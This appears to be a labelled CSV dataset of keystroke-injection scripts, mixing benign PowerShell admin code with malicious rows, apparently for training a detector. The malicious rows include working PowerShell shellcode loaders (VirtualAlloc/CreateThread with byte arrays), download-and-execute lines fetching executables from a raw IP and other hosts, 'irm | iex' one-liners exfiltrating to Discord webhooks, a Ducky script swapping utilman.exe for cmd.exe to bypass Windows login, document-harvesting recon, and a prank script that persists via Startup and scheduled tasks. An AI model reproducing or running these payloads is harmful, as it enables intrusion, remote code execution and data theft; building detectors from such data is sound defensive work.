"win+r enter powershell enter enter enter param( enter [string] $SigningXmlPath = (Join-Path -Path $PSScriptRoot -ChildPath 'signing.xml'), enter [switch] $SkipPwshExe enter ) enter if ($SkipPwshExe) { enter enter $xmlContent = Get-Content $SigningXmlPath | Where-Object { $_ -notmatch '__INPATHROOT__\\pwsh.exe' } enter } else { enter enter $xmlContent = Get-Content $signingXmlPath | Where-Object { $_ -notmatch '__INPATHROOT__\\Microsoft.PowerShell.GlobalTool.Shim.dll' } enter } enter $signingXml = [xml] $xmlContent enter $signTypes = @{} enter Get-ChildItem -Path env:/*SignType | ForEach-Object -Process { enter $signType = $_.Name.ToUpperInvariant().Replace('SIGNTYPE','') enter Write-Host ""Found SigningType $signType with value $($_.value)"" enter $signTypes[$signType] = $_.Value enter } enter $signingXml.SignConfigXML.job | ForEach-Object -Process { enter enter $_.file | ForEach-Object -Process { enter enter $signType = $_.SignType.ToUpperInvariant() enter if($signTypes.ContainsKey($signType)) enter { enter $newSignType = $signTypes[$signType] enter Write-Host ""Updating $($_.src) to $newSignType"" enter $_.signType = $newSignType enter } enter } enter } enter enter $signingXml.Save($signingXmlPath) enter enter",0,0,0.9999367,6.3319945e-05
"win+r powershell enter $KJ9g = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(Int enter Ptr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""k enter ernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes enter , uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFl enter ags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mem enter set(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $KJ9g - enter Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0x82 enter ,0x00,0xbf,0xd2,0xdb,0xc3,0xd9,0x74,0x24,0xf4,0x5e,0x29,0xc9,0xb1,0x47,0x83,0xc6 enter ,0x04,0x31,0x56,0x0f,0x03,0x56,0x8d,0xe2,0x4a,0x2e,0x79,0x60,0xb4,0xcf,0x79,0x05 enter ,0x3c,0x2a,0x48,0x05,0x5a,0x3e,0xfa,0xb5,0x28,0x12,0xf6,0x3e,0x7c,0x87,0x8d,0x33 enter ,0xa9,0xa8,0x26,0xf9,0x8f,0x87,0xb7,0x52,0xf3,0x86,0x3b,0xa9,0x20,0x69,0x02,0x62 enter ,0x35,0x68,0x43,0x9f enter",1,1,5.4245535e-05,0.99994576
"win+r powershell enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr enter lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kern enter el32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, u enter int dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags enter , IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset enter (IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name "" enter Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xda,0xd5,0xb8, enter 0xef,0xaf,0xff,0xcb,0xd9,0x74,0x24,0xf4,0x5e,0x31,0xc9,0xb1,0x47,0x31,0x46,0x18, enter 0x83,0xee,0xfc,0x03,0x46,0xfb,0x4d,0x0a,0x37,0xeb,0x10,0xf5,0xc8,0xeb,0x74,0x7f, enter 0x2d,0xda,0xb4,0x1b,0x25,0x4c,0x05,0x6f,0x6b,0x60,0xee,0x3d,0x98,0xf3,0x82,0xe9, enter 0xaf,0xb4,0x29,0xcc,0x9e,0x45,0x01,0x2c,0x80,0xc5,0x58,0x61,0x62,0xf4,0x92,0x74, enter 0x63,0x31,0xce,0x75, enter enter",1,1,5.404499e-05,0.999946
"win+r enter powershell enter enter enter  enter enter function ConvertDataRow-ToXml enter { enter [CmdletBinding()] enter [OutputType('System.IO.FileInfo')] enter param enter ( enter [Parameter(Mandatory,ValueFromPipeline)] enter [ValidateNotNullOrEmpty()] enter [System.Data.DataRow[]]$Row, enter enter [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] enter [string]$ObjectType, enter enter [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] enter [ValidatePattern('\.xml$')] enter [ValidateScript({ -not (Test-Path -Path $_ -PathType Leaf) })] enter [string]$Path enter ) enter begin { enter $ErrorActionPreference = 'Stop' enter enter $xmlWriter = New-Object System.XMl.XmlTextWriter($Path, $Null) enter $xmlWriter.Formatting = 'Indented' enter $xmlWriter.Indentation = 1 enter $XmlWriter.IndentChar = ""`t"" enter $xmlWriter.WriteStartDocument() enter $xmlWriter.WriteStartElement('{0}s' -f $ObjectType) enter } enter process { enter try enter { enter foreach ($r in $row) enter { enter $properties = $r.psobject.Properties.where{ $_.Value -is [string] -and $_.Name -ne 'RowError' } enter $xmlWriter.WriteStartElement($ObjectType) enter foreach ($prop in $properties) enter { enter Write-Verbose -Message ""Adding attribute name [$($prop.Name)] with value [$($prop.Value)]"" enter $xmlWriter.WriteElementString($prop.Name, $prop.Value) enter } enter $xmlWriter.WriteEndElement() enter } enter } enter catch enter { enter Write-Error $_.Exception.Message enter } enter } enter end enter { enter $xmlWriter.WriteEndDocument() enter $xmlWriter.Flush() enter $xmlWriter.Close() enter Get-Item -Path $Path enter } enter } enter enter",0,0,0.9997503,0.00024969966
win+r powershell enter Set-StrictMode -Version Latest InModuleScope Pester { Describe 'Get-ShouldOper enter ator' { Context 'Overview' { $OpCount = $AssertionOperators.Count $get1 = enter Get-ShouldOperator Add-AssertionOperator -Name 'test' -Test {'test'} $get2 = G enter et-ShouldOperator enter enter,1,1,0.006723537,0.9932765
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_60p5zjka"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_users.json"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_usb_related_pnp.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4120607e-05
"win+r enter powershell enter enter enter Function GetRelativePath { enter $Global:RelativePath=(split-path $SCRIPT:MyInvocation.MyCommand.Path -parent)+""\"" enter } enter enter Function GetPrinterList { enter Set-Variable -Name Count -Scope Local -Force enter Set-Variable -Name DefaultPrinter -Scope Local -Force enter Set-Variable -Name Printers -Scope Local -Force enter Set-Variable -Name Temp -Scope Local -Force enter enter If (Test-Path -Path $Global:RelativePath""Printers.txt"") { enter Remove-Item -Path $Global:RelativePath""Printers.txt"" -Force enter } enter $DefaultPrinter = Get-WmiObject -Query "" SELECT * FROM Win32_Printer WHERE Default=$true"" enter $DefaultPrinter = $DefaultPrinter.ToString() enter $DefaultPrinter = $DefaultPrinter -replace [char]34,"""" enter $DefaultPrinter = $DefaultPrinter -replace ""\\\\"",""\"" enter $DefaultPrinter = $DefaultPrinter.split(""="") enter $Temp = ""Default Printer: ""+$DefaultPrinter[$DefaultPrinter.Length-1] enter $Temp | Add-Content -Path $Global:RelativePath""Printers.txt"" enter $Printers = Get-WmiObject -Query "" SELECT * FROM Win32_Printer WHERE Default=$false"" enter For ($Count=0; $Count -lt $Printers.Length; $Count++) { enter $Temp = $Printers[$Count] enter $Temp = $Temp.ToString() enter $Temp = $Temp -replace [char]34,"""" enter $Temp = $Temp -replace ""\\\\"",""\"" enter $Temp = $Temp.split(""="") enter $Temp = ""Printer: ""+$Temp[1] enter $Temp | Add-Content -Path $Global:RelativePath""Printers.txt"" enter Write-Host $Temp enter } enter Remove-Variable -Name Count -Scope Local -Force enter Remove-Variable -Name DefaultPrinter -Scope Local -Force enter Remove-Variable -Name Printers -Scope Local -Force enter Remove-Variable -Name Temp -Scope Local -Force enter enter } enter GetRelativePath enter GetPrinterList enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.3934913e-05,0.9999461
"win+r powershell enter  param( [string] $auditlist) Function Get-CustomHTML ($Header){ $Report = @"" enter <!DOCTYPE HTML PUBLIC ""-//W3C//DTD HTML 4.01 Frameset//EN"" ""http://www.w3.org/TR enter /html4/frameset.dtd""> <html><head><title>$($Header)</title> <META http-equiv=Con enter tent-Type content='text/html; charset=windows-1252'> <meta name=""save"" content= enter ""history""> enter enter",1,1,0.0005322334,0.9994678
"win+r powershell enter function Load-Form { enter $Form.Controls.Add($TBComputerName) enter $Form.Controls.Add($GBComputerName) enter $Form.Controls.Add($ButtonOK) enter $Form.Add_Shown({$Form.Activate()}) enter [void] $Form.ShowDialog() enter } enter function Set-OSDComputerName { enter $ErrorProvider.Clear() enter if ($TBComputerName.Text.Length -gt 15) { enter $ErrorProvider.SetError($GBComputerName, ""Computer name cannot be more than 15 characters"") enter } enter else { enter $OSDComputerName = $TBComputerName.Text.Replace(""["","""").Replace(""]"","""").Replace("":"","""").Replace("";"","""").Replace(""|"","""").Replace(""="","""").Replace(""+"","""").Replace(""*"","""").Replace(""?"","""").Replace(""<"","""").Replace("">"","""").Replace(""/"","""").Replace(""\"","""").Replace("","","""") enter $TSEnv = New-Object -COMObject Microsoft.SMS.TSEnvironment enter $TSEnv.Value(""OSDComputerName"") = ""$($OSDComputerName)"" enter $Form.Close() enter } enter } enter [void][System.Reflection.Assembly]::LoadWithPartialName(""System.Drawing"") enter [void][System.Reflection.Assembly]::LoadWithPartialName(""System.Windows.Forms"") enter $Global:ErrorProvider = New-Object System.Windows.Forms.ErrorProvider enter $Form = New-Object System.Windows.Forms.Form enter $Form.Size = New-Object System.Drawing.Size(285,140) enter $Form.MinimumSize = New-Object System.Drawing.Size(285,140) enter $Form.MaximumSize = New-Object System.Drawing.Size(285,140) enter $Form.StartPosition = ""CenterScreen"" enter $Form.SizeGripStyle = ""Hide"" enter $Form.Text = ""Enter Computer Name"" enter $Form.ControlBox = $false enter $Form.TopMost = $true enter $TBComputerName = New-Object System.Windows.Forms.TextBox enter $TBComputerName.Location = New-Object System.Drawing.Size(25,30) enter $TBComputerName.Size = New-Object System.Drawing.Size(215,50) enter $TBComputerName.TabIndex = ""1"" enter $GBComputerName = New-Object System.Windows.Forms.GroupBox enter $GBComputerName.Location = New-Object System.Drawing.Size(20,10) enter $GBComputerName.Size = New-Object System.Drawing.Size(225,50) enter $GBComputerName.Text = ""Computer name:"" enter $ButtonOK = New-Object System.Windows.Forms.Button enter $ButtonOK.Location = New-Object System.Drawing.Size(195,70) enter $ButtonOK.Size = New-Object System.Drawing.Size(50,20) enter $ButtonOK.Text = ""OK"" enter $ButtonOK.TabIndex = ""2"" enter $ButtonOK.Add_Click({Set-OSDComputerName}) enter Load-Form enter",0,1,0.008260273,0.99173975
"DUCKY_REAL_BEGIN enter REM THIS SCRIPT WORK ON ANY VERSION OF MACOS AND CAN WORK WITH WINDOWS. enter REM TO WORK IN WINDOWS IT IS NECESSARY THAT INTERNET EXPLORER (OR EDGE) enter REM BE SET AS A PRIMARY BROWSER! enter REM THIS TRICK, THAT MAKES THE MULTI-PLATFORM SCRIPT (WORKS ON LINUX TOO), enter REM WAS INVENTED BY DARREN KITCHEN(edit by FalsePhilosopher), AND IT WORKS FINE..... enter DELAY 300 enter CTRL-ALT t enter DELAY 2000 enter STRING open https://jonnybanana.github.io/safari-ie-reaper.github.io enter ENTER enter DUCKY_REAL_END",1,1,6.096983e-05,0.9999391
"win+r powershell enter param( [string]$Version, [string]$Path, [switch]$Force, $Update, [switch]$U enter ninstall ) $Configs = @{ Url = ""http://www.truecrypt.org/download/transient/13 enter 0a82428b303859fcb6/TrueCrypt%20Setup%207.1a.exe"" Path = ""$(Split-Path -Path $My enter Invocation.MyCommand.Definition -Parent)\"" } enter enter",1,1,0.008270245,0.9917298
"win+r powershell enter ctrl+alt+t enter bash enter enter enter #!/bin/sh enter enter cp /tmp/base_rabbitmq.conf /tmp/rabbitmq.conf enter echo -n ""default_user = "" >> /tmp/rabbitmq.conf enter echo ""$RABBITMQ_USER"" >> /tmp/rabbitmq.conf enter echo -n ""default_pass = "" >> /tmp/rabbitmq.conf enter echo ""$RABBITMQ_PASSWORD"" >> /tmp/rabbitmq.conf enter echo -n ""default_vhost = "" >> /tmp/rabbitmq.conf enter echo ""$RABBITMQ_VHOST"" >>/tmp/rabbitmq.conf enter echo -n ""listeners.tcp.default = "" >> /tmp/rabbitmq.conf enter echo ""$RABBITMQ_PORT"" >> /tmp/rabbitmq.conf enter cp /tmp/rabbitmq.conf /etc/rabbitmq/rabbitmq.conf enter echo ""[+] updated config, echoing it out"" enter cat /tmp/rabbitmq.conf enter exit 0 enter enter enter",1,1,0.00042044232,0.9995796
win r powershell -nop -ep bypass -w h -c $dc='discord webhook'; irm https://is.gd/bw_sc_to_dc | iex enter,0,1,0.009247964,0.990752
"win+r powershell enter cmd /c powershell -Command (new-object System.Net.WebClient).Downloadfile('http: enter //trax.x10.mx/count_vt.txt', 'C:\_AB\fake_.exe') ; 'Done.' enter",1,1,5.95822e-05,0.9999404
"win+r enter powershell enter enter enter function Set-CDotNetConnectionString enter { enter enter [CmdletBinding(SupportsShouldProcess=$true)] enter param( enter [Parameter(Mandatory=$true)] enter [string] enter enter $Name, enter enter [Parameter(Mandatory=$true)] enter [string] enter enter $Value, enter enter [string] enter enter $ProviderName, enter enter [Switch] enter enter $Framework, enter enter [Switch] enter enter $Framework64, enter enter [Switch] enter enter $Clr2, enter enter [Switch] enter enter $Clr4 enter ) enter enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter if( -not ($Framework -or $Framework64) ) enter { enter Write-Error ""You must supply either or both of the Framework and Framework64 switches."" enter return enter } enter enter if( -not ($Clr2 -or $Clr4) ) enter { enter Write-Error ""You must supply either or both of the Clr2 and Clr4 switches."" enter return enter } enter enter $runtimes = @() enter if( $Clr2 ) enter { enter $runtimes += 'v2.0' enter } enter if( $Clr4 ) enter { enter $runtimes += 'v4.0' enter } enter enter $runtimes | ForEach-Object { enter $params = @{ enter FilePath = (Join-Path $CarbonBinDir 'Set-DotNetConnectionString.ps1' -Resolve); enter ArgumentList = @( enter (ConvertTo-CBase64 -Value $Name), enter (ConvertTo-CBase64 -Value $Value), enter (ConvertTo-CBase64 -Value $ProviderName) enter ); enter Runtime = $_; enter ExecutionPolicy = [Microsoft.PowerShell.ExecutionPolicy]::RemoteSigned; enter } enter enter if( $Framework ) enter { enter Invoke-CPowerShell @params -x86 enter } enter enter if( $Framework64 ) enter { enter Invoke-CPowerShell @params enter } enter } enter } enter enter",0,0,0.9998741,0.00012588825
unknown_key_action ctrl alt t enter,1,1,0.00052509265,0.99947494
win+r enter powershell enter enter enter $Result = [pscustomobject] @{ enter Result1 = $Result1 enter Result2 = $Result2 enter } enter enter Return $Result enter [System.Collections.ArrayList]$Results = @() enter enter foreach($Item in $Items) enter { enter $Result = [pscustomobject] @{ enter Result1 = $Item.Result1 enter Result2 = $Item.Result2 enter } enter enter [void]$Results.Add($Result) enter } enter enter Return $Results enter enter,0,0,0.99932337,0.00067662005
win r powershell -w h -ep bypass $discord='DISCORD';irm PAYLOAD | iex enter,1,1,0.0006062429,0.9993937
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_n96rovzi"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_usb_related_pnp.csv"") -NoTypeInformation enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status, ServiceType | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_running.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.437805e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""daily_check_psrreta2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 2 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Export-Csv -Path (Join-Path $ReportDir ""disk_logical_disk.csv"") -NoTypeInformation enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 10 Name, Id, CPU, WorkingSet64, Handles | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_handles_10.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996495,3.4996643e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_xqit9nr8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName System -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_100.json"") -Encoding UTF8 enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 50 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter",0,0,0.9999665,3.351858e-05
"win+r enter powershell enter enter enter Register-PSFConfigValidation -Name ""sizestyle"" -ScriptBlock { enter param ( enter $Value enter ) enter enter $Result = New-Object PSObject -Property @{ enter Success = $True enter Value = $null enter Message = """" enter } enter enter try { [PSFramework.Utility.SizeStyle]$style = $Value } enter catch { enter $Result.Message = ""Not a size style: $Value"" enter $Result.Success = $False enter return $Result enter } enter enter $Result.Value = $style enter enter return $Result enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = ;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.4565437e-05,0.9999454
"DUCKY_REAL_BEGIN enter REM Bypass Windows login using Windows boot media. enter REM This automates the commands used to rename the utilman.exe file to cmd.exe enter REM Author: emptythevoid enter REM Does not work if C: has full drive encryption enabled enter REM Run this when you see the first install screen enter REM == Bring up Terminal ===================== enter SHIFT F10 enter DELAY 1000 enter REM == Change directory to system32: enter STRING C: enter ENTER enter DELAY 100 enter STRING cd c:\windows\system32\ enter ENTER enter DELAY 1000 enter REM == Rename utilman.exe enter REM == By default, Windows will be on C: enter REM == Change the command below as needed enter STRING ren utilman.exe utilman2.exe enter ENTER enter DELAY 1000 enter REM == Copy the cmd.exe into utilman.exe enter STRING copy cmd.exe utilman.exe enter ENTER enter DELAY 1000 enter REM == Reboot enter STRING shutdown /r /t 0 enter ENTER enter DUCKY_REAL_END",1,1,5.9416976e-05,0.99994063
"win+r powershell enter DUCKY_REAL_BEGIN enter REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) enter REM Description: Exfiltrate network. enter REM Version: 1.0 enter REM Category: Exfiltration enter DELAY 800 enter GUI r enter DELAY 1000 enter STRING powershell Start-Process notepad -Verb runAs enter ENTER enter DELAY 800 enter ALT y enter DELAY 800 enter ENTER enter ALT SPACE enter DELAY 1000 enter STRING m enter DELAY 1000 enter DOWNARROW enter REPEAT 100 enter ENTER enter STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss') enter ENTER enter STRING $userDir = (Get-ChildItem env:\userprofile).value + '\Ducky Report ' + $folderDateTime enter ENTER enter STRING $fileSaveDir = New-Item ($userDir) -ItemType Directory enter ENTER enter STRING $date = get-date enter ENTER enter STRING $style = ""<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflo enter ENTER enter STRING $Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo.html' enter ENTER enter STRING $Report = $Report + ""<div id=body><h1>Duck Tool Kit Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>"" enter ENTER enter STRING $Report = $Report + '<div id=center><h3>User Documents (doc,docx,pdf,rar)</h3>' enter ENTER enter STRING $Report = $Report + (Get-ChildItem -Path $userDir -Include *.doc, *.docx, *.pdf, *.zip, *.rar -Recurse |convertto-html Directory, Name, LastAccessTime) enter ENTER enter STRING $Report = $Report + '</div>' enter ENTER enter DUCKY_REAL_END enter",1,1,6.0099093e-05,0.9999399
"win r cmd enter mkdir ""%USERPROFILE%\Music tab mp"" enter cd %tmp% && copy con dlrick.vbs enter enter Dim oShell: Set oShell = CreateObject(""WScript.Shell"") enter Dim PRFL: PRFL = oShell.ExpandEnvironmentStrings(""%USERPROFILE%"") enter enter Dim xHttp: Set xHttp = CreateObject(""Microsoft.XMLHTTP"") enter Dim bStrm: Set bStrm = CreateObject(""Adodb.Stream"") enter xHttp.Open ""GET"", ""https://qoret.com/dl/uploads/2019/07/Rick_Astley_-_Never_Gonna_Give_You_Up_Qoret.com.mp3"", False enter xHttp.Send enter With bStrm enter .type = 1 enter .open enter .write xHttp.responseBody enter .saveToFile PRFL + ""\Music tab mp enter ick.mp3"", 2 enter End With enter ctrl z enter copy con dlnir.vbs enter enter Dim oShell: Set oShell = CreateObject(""WScript.Shell"") enter Dim PRFL: PRFL = oShell.ExpandEnvironmentStrings(""%USERPROFILE%"") enter enter Dim xHttp: Set xHttp = CreateObject(""Microsoft.XMLHTTP"") enter Dim bStrm: Set bStrm = CreateObject(""Adodb.Stream"") enter xHttp.Open ""GET"", ""http://www.nirsoft.net/utils/nircmd-x64.zip"", False enter xHttp.Send enter With bStrm enter .type = 1 enter .open enter .write xHttp.responseBody enter .saveToFile PRFL + ""\Music tab mp enter ircmd-x64.zip"", 2 enter End With enter ctrl z enter wscript dlnir.vbs && wscript dlrick.vbs enter powershell.exe -nologo -noprofile -command ""& { Add-Type -A 'System.IO.Compression.FileSystem'; [IO.Compression.ZipFile]::ExtractToDirectory('%USERPROFILE%\Music tab mp enter ircmd-x64.zip', '%USERPROFILE%\Music tab mp'); }"" enter copy con volup.bat enter :loop enter %USERPROFILE%\Music tab mp enter ircmd.exe mutesysvolume 0 enter %USERPROFILE%\Music tab mp enter ircmd.exe setsysvolume 65535 enter timeout /t 5 enter goto loop enter ctrl z enter move volup.bat %USERPROFILE%\Music tab mp\volup.bat enter copy con hidefiles.vbs enter Dim oShell: Set oShell = CreateObject(""WScript.Shell"") enter Dim PRFL: PRFL = oShell.ExpandEnvironmentStrings(""%USERPROFILE%"") enter Dim oFSo: Set oFSo = CreateObject(""Scripting.FileSystemObject"") enter Dim tmpDir: Set tmpDir = oFSo.GetFolder(PRFL + ""\Music tab mp"") enter tmpDir.attributes = tmpDir.attributes + 2 enter ctrl z enter wscript hidefiles.vbs enter copy con rickyou.vbs enter Dim oShell: Set oShell = CreateObject(""WScript.Shell"") enter Dim PRFL: PRFL = oShell.ExpandEnvironmentStrings(""%USERPROFILE%"") enter While true enter Dim oPlayer: Set oPlayer = CreateObject(""WMPlayer.OCX"") enter oPlayer.URL = PRFL + ""\Music tab mp enter ick.mp3"" enter oPlayer.controls.play enter While oPlayer.playState <> 1 ' 1 = Stopped enter WScript.Sleep 100 enter Wend enter oPlayer.close enter Wend enter ctrl z enter copy con volup.vbs enter CreateObject(""WScript.Shell"").Run ""%USERPROFILE%\Music tab mp\volup.bat"", 0, False enter ctrl z enter copy rickyou.vbs ""%USERPROFILE%\Music tab mp enter ickyou.vbs"" enter move rickyou.vbs ""%SystemDrive%\Users\%UserName%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup enter ickyou.vbs"" enter copy volup.vbs ""%USERPROFILE%\Music tab mp\volup.vbs"" enter move volup.vbs ""%SystemDrive%\Users\%UserName%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\volup.vbs"" enter del dlrick.vbs enter del dlnir.vbs enter del hidefiles.vbs enter del %USERPROFILE%\Music tab mp\NirCmd.chm enter del %USERPROFILE%\Music tab mp enter ircmdc.exe enter del %USERPROFILE%\Music tab mp enter ircmd-x64.zip enter exit enter win r taskschd.msc enter alt a brr enter enter s tab tab 4801 enter enter wscript tab tab %USERPROFILE%\Music tab mp enter ickyou.vbs enter enter alt a bvu enter enter s tab tab 4801 enter enter wscript tab tab %USERPROFILE%\Music tab mp\volup.vbs enter enter alt f x",1,1,0.00023733504,0.9997627
"win+r enter powershell enter enter enter Describe ""SSH Remoting Cmdlet Tests"" -Tags ""Feature"" { enter enter It ""Enter-PSSession HostName parameter set should throw error for invalid key path"" { enter { Enter-PSSession -HostName localhost -UserName User -KeyFilePath NoKeyFile } | enter Should -Throw -ErrorId ""PathNotFound,Microsoft.PowerShell.Commands.EnterPSSessionCommand"" enter } enter enter It ""New-PSSession HostName parameter set should throw error for invalid key path"" { enter { New-PSSession -HostName localhost -UserName User -KeyFilePath NoKeyFile } | enter Should -Throw -ErrorId ""PathNotFound,Microsoft.PowerShell.Commands.NewPSSessionCommand"" enter } enter enter It ""Invoke-Command HostName parameter set should throw error for invalid key path"" { enter { Invoke-Command -HostName localhost -UserName User -KeyFilePath NoKeyFile -ScriptBlock { 1 } } | enter Should -Throw -ErrorId ""PathNotFound,Microsoft.PowerShell.Commands.InvokeCommandCommand"" enter } enter enter It ""Invoke-Command should support positional parameter ScriptBlock when using parameter set '<ParameterSetName>'"" -TestCases @{ParameterSetName = 'SSHHost' }, @{ParameterSetName = 'SSHHostHashParam' } { enter param ([string]$ParameterSetName) enter $commandInfo = Get-Command -Name Invoke-Command enter $sshParameterSet = $commandInfo.ParameterSets | Where-Object { $_.Name -eq $ParameterSetName } enter $scriptBlockPosition = $sshParameterSet.Parameters | Where-Object { $_.Name -eq 'ScriptBlock' } | Select-Object -ExpandProperty Position enter $scriptBlockPosition | Should -Be 1 enter } enter } enter enter",0,0,0.9999174,8.2624465e-05
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install vcredist2013 enter A enter enter enter,0,0,0.99996054,3.940454e-05
"win+r enter powershell enter enter enter Function Add-SCCMUserDeviceAffinity enter { enter enter [CmdletBinding()] enter Param ( enter [Parameter(Mandatory = $True, HelpMessage = ""Please Enter Site Server Site code"")] enter $SiteCode, enter enter [Parameter(Mandatory = $True, HelpMessage = ""Please Enter Site Server Name"")] enter $SiteServer, enter enter [Parameter(Mandatory = $True, HelpMessage = ""Please Enter Device Name"")] enter $DeviceName, enter enter [Parameter()] enter $DeviceID, enter enter [Parameter(Mandatory = $True, HelpMessage = ""Please Enter User Name"")] enter $UserName, enter enter [Alias(""RunAs"")] enter [System.Management.Automation.Credential()] enter $Credential = [System.Management.Automation.PSCredential]::Empty enter ) enter enter $Splatting = @{ enter NameSpace = ""root\sms\site_$SiteCode"" enter ComputerName = $SiteServer enter } enter enter IF ($PSBoundParameters['Credential']) enter { enter $Splatting.Credential = $Credential enter } enter $AffinityType = 2 enter enter IF ($PSBoundParameters['DeviceName']) enter { enter $ResourceID = (Get-WmiObject @Splatting -Class ""SMS_CombinedDeviceResources"" -Filter ""Name='$DeviceName'"" -ErrorAction STOP).resourceID enter } enter IF ($PSBoundParameters['DeviceID']) enter { enter $ResourceID = $DeviceID enter } enter enter Invoke-WmiMethod @Splatting -Class ""SMS_UserMachineRelationship"" -Name ""CreateRelationship"" -ArgumentList @($ResourceID, $AffinityType, 1, $UserName) enter } enter enter",0,0,0.9999374,6.255789e-05
